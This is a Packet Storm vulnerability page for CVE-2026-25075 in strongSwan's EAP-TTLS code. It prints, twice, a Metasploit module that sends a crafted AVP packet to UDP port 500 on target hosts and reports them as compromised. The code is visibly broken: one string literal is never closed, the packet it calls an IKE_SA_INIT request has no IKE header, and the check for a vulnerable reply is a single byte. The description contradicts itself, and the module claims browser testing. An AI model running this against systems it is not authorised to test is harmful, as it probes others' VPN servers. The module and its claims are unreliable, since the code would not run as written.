8.7
/ 10
HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/SC:N/VI:N/SI:N/VA:H/SA:N
Description
This Metasploit auxiliary module is designed to detect a vulnerability in strongSwan's EAP-TTLS implementation, identified as CVE-2026-25075. The issue is related to an integer underflow in the handling of AVP Attribute-Value Pair length fields during...
Basic Information
ID
PACKETSTORM:220761
Published
May 11, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : strongSwan 4.5.0 EAP-TTLS Integer Underflow Vulnerability Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://strongswan.org/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module is designed to detect a vulnerability in strongSwan’s EAP-TTLS implementation, identified as CVE-2026-25075.
The issue is related to an integer underflow in the handling of AVP (Attribute-Value Pair) length fields during IKE-related UDP communication.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'strongSwan EAP-TTLS AVP Integer Underflow Scanner',
'Description' => %q{
This module exploits CVE-2026-25075 in strongSwan to investigate a flaw in the handling of AVP (Integer Underflow) length. The module sends a 1-length AVP header with no data, which is sufficient to detect the vulnerability without causing a crash. Server.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-25075'],
['URL', 'https://www.strongswan.org/']
],
'DisclosureDate' => '2026-02-15',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(500),
OptInt.new('IKE_TIMEOUT', [true, 'IKE request response timeout in seconds', 5])
]
)
end
def craft_test_avp
# Code: 79 (EAP-Message), Flags: 0x40 (Mandatory), Length: 1
[79].pack('N') + [0x40].pack('C') + [1].pack('N')[1, 3]
end
def run_host(ip)
vprint_status("#{ip} - Starting the CVE-2026-25075 scan...")
begin
connect_udp
print_status("#{ip} - Sending an IKE_SA_INIT request...")
test_packet = craft_test_avp
udp_sock.put(test_packet)
res = udp_sock.get(datastore['IKE_TIMEOUT'])
if res
if is_vulnerable?(res)
print_good("#{ip} - Target is compromised With CVE-2026-25075 vulnerability!)
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: 'Server accepted AVP with invalid length (Integer Underflow)'
)
else
vprint_status("#{ip} - Server correctly rejected the packet.")
end
else
vprint_error("#{ip} - No response received from the server.")
end
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED
vprint_error("#{ip} - Unable to connect to UDP port #{datastore['RPORT']}")
ensure
disconnect_udp
end
end
def is_vulnerable?(data)
return false unless data && !data.empty?
data.unpack1('C') == 1
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : strongSwan 4.5.0 EAP-TTLS Integer Underflow Vulnerability Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://strongswan.org/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module is designed to detect a vulnerability in strongSwan’s EAP-TTLS implementation, identified as CVE-2026-25075.
The issue is related to an integer underflow in the handling of AVP (Attribute-Value Pair) length fields during IKE-related UDP communication.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'strongSwan EAP-TTLS AVP Integer Underflow Scanner',
'Description' => %q{
This module exploits CVE-2026-25075 in strongSwan to investigate a flaw in the handling of AVP (Integer Underflow) length. The module sends a 1-length AVP header with no data, which is sufficient to detect the vulnerability without causing a crash. Server.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-25075'],
['URL', 'https://www.strongswan.org/']
],
'DisclosureDate' => '2026-02-15',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(500),
OptInt.new('IKE_TIMEOUT', [true, 'IKE request response timeout in seconds', 5])
]
)
end
def craft_test_avp
# Code: 79 (EAP-Message), Flags: 0x40 (Mandatory), Length: 1
[79].pack('N') + [0x40].pack('C') + [1].pack('N')[1, 3]
end
def run_host(ip)
vprint_status("#{ip} - Starting the CVE-2026-25075 scan...")
begin
connect_udp
print_status("#{ip} - Sending an IKE_SA_INIT request...")
test_packet = craft_test_avp
udp_sock.put(test_packet)
res = udp_sock.get(datastore['IKE_TIMEOUT'])
if res
if is_vulnerable?(res)
print_good("#{ip} - Target is compromised With CVE-2026-25075 vulnerability!)
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: 'Server accepted AVP with invalid length (Integer Underflow)'
)
else
vprint_status("#{ip} - Server correctly rejected the packet.")
end
else
vprint_error("#{ip} - No response received from the server.")
end
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED
vprint_error("#{ip} - Unable to connect to UDP port #{datastore['RPORT']}")
ensure
disconnect_udp
end
end
def is_vulnerable?(data)
return false unless data && !data.empty?
data.unpack1('C') == 1
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================